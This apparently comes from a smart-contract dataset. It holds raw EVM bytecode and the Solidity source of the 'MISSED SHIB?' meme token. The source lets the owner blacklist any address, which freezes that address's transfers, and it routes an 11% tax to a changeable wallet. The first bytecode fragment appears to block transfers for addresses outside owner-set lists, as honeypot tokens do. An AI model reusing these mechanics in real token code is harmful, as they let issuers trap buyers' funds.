56101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220fca718513fc8f86789ece26e42f2ef0401700db111a976d5bf331cd1206a7d1664736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 113 |
0xaee14e159372dee9135236f7783f2de7016674b1 | //https://t.me/missedshib
//https://t.me/missedshib
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MISSEDSHIB is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e9* 10**9;
string public constant name = unicode"MISSED SHIB?";
string public constant symbol = unicode"MISSED SHIB?";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 11;
uint public _sellFee = 11;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
if((_launchedAt + (3 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (3 minutes)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance*3/11;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function burnToken (uint burnAmount) private lockTheSwap{
_transfer(address(this), address(0xdead),burnAmount);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000 * 10**9;
_maxHeldTokens = 20000000 * 10**9;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 11 && sell < 11 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
} | 0x6080604052600436106101e75760003560e01c8063590f897e11610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610565578063dcb0e0ad1461057a578063dd62ed3e1461059a578063e8078d94146105e057600080fd5b8063a9059cbb146104fb578063b515566a1461051b578063c3c8cd801461053b578063c9567bf91461055057600080fd5b806373f54a11116100d157806373f54a111461049d5780638da5cb5b146104bd57806394b8d8f2146104db57806395d89b411461021c57600080fd5b8063590f897e1461043d5780636fc3eaec1461045357806370a0823114610468578063715018a61461048857600080fd5b806327f3a72a1161017a5780633bbac579116101495780633bbac579146103ae57806340b9a54b146103e757806345596e2e146103fd57806349bd5a5e1461041d57600080fd5b806327f3a72a1461033c578063313ce5671461035157806331c2d8471461037857806332d873d81461039857600080fd5b8063104ce66d116101b6578063104ce66d146102b357806318160ddd146102eb5780631940d0201461030657806323b872dd1461031c57600080fd5b80630492f055146101f357806306fdde031461021c578063095ea7b3146102615780630b78f9c01461029157600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b506102546040518060400160405280600c81526020016b4d495353454420534849423f60a01b81525081565b6040516102139190611a28565b34801561026d57600080fd5b5061028161027c366004611aa2565b6105f5565b6040519015158152602001610213565b34801561029d57600080fd5b506102b16102ac366004611ace565b61060b565b005b3480156102bf57600080fd5b506008546102d3906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156102f757600080fd5b50670de0b6b3a7640000610209565b34801561031257600080fd5b50610209600e5481565b34801561032857600080fd5b50610281610337366004611af0565b6106a5565b34801561034857600080fd5b506102096106f9565b34801561035d57600080fd5b50610366600981565b60405160ff9091168152602001610213565b34801561038457600080fd5b506102b1610393366004611b47565b610709565b3480156103a457600080fd5b50610209600f5481565b3480156103ba57600080fd5b506102816103c9366004611c0c565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f357600080fd5b50610209600a5481565b34801561040957600080fd5b506102b1610418366004611c29565b610795565b34801561042957600080fd5b506009546102d3906001600160a01b031681565b34801561044957600080fd5b50610209600b5481565b34801561045f57600080fd5b506102b1610836565b34801561047457600080fd5b50610209610483366004611c0c565b610863565b34801561049457600080fd5b506102b161087e565b3480156104a957600080fd5b506102b16104b8366004611c0c565b6108f2565b3480156104c957600080fd5b506000546001600160a01b03166102d3565b3480156104e757600080fd5b506010546102819062010000900460ff1681565b34801561050757600080fd5b50610281610516366004611aa2565b610960565b34801561052757600080fd5b506102b1610536366004611b47565b61096d565b34801561054757600080fd5b506102b1610a86565b34801561055c57600080fd5b506102b1610abc565b34801561057157600080fd5b50610209610b56565b34801561058657600080fd5b506102b1610595366004611c50565b610b6e565b3480156105a657600080fd5b506102096105b5366004611c6d565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105ec57600080fd5b506102b1610be1565b6000610602338484610f27565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461062b57600080fd5b600b8210801561063b5750600b81105b80156106485750600a5482105b80156106555750600b5481105b61065e57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106b284848461104b565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106e1908490611cbc565b90506106ee853383610f27565b506001949350505050565b600061070430610863565b905090565b6008546001600160a01b0316336001600160a01b03161461072957600080fd5b60005b81518110156107915760006005600084848151811061074d5761074d611cd3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061078981611ce9565b91505061072c565b5050565b6008546001600160a01b0316336001600160a01b0316146107b557600080fd5b600081116107fa5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461085657600080fd5b47610860816116cb565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108a85760405162461bcd60e51b81526004016107f190611d04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461091257600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161082b565b600061060233848461104b565b6000546001600160a01b031633146109975760405162461bcd60e51b81526004016107f190611d04565b60005b81518110156107915760095482516001600160a01b03909116908390839081106109c6576109c6611cd3565b60200260200101516001600160a01b031614158015610a17575060075482516001600160a01b0390911690839083908110610a0357610a03611cd3565b60200260200101516001600160a01b031614155b15610a7457600160056000848481518110610a3457610a34611cd3565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610a7e81611ce9565b91505061099a565b6008546001600160a01b0316336001600160a01b031614610aa657600080fd5b6000610ab130610863565b905061086081611705565b6000546001600160a01b03163314610ae65760405162461bcd60e51b81526004016107f190611d04565b60105460ff1615610b335760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107f1565b6010805460ff1916600117905542600f5566470de4df820000600d819055600e55565b600954600090610704906001600160a01b0316610863565b6008546001600160a01b0316336001600160a01b031614610b8e57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161082b565b6000546001600160a01b03163314610c0b5760405162461bcd60e51b81526004016107f190611d04565b60105460ff1615610c585760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107f1565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610c943082670de0b6b3a7640000610f27565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf69190611d39565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d679190611d39565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610db4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd89190611d39565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610e0881610863565b600080610e1d6000546001600160a01b031690565b6040516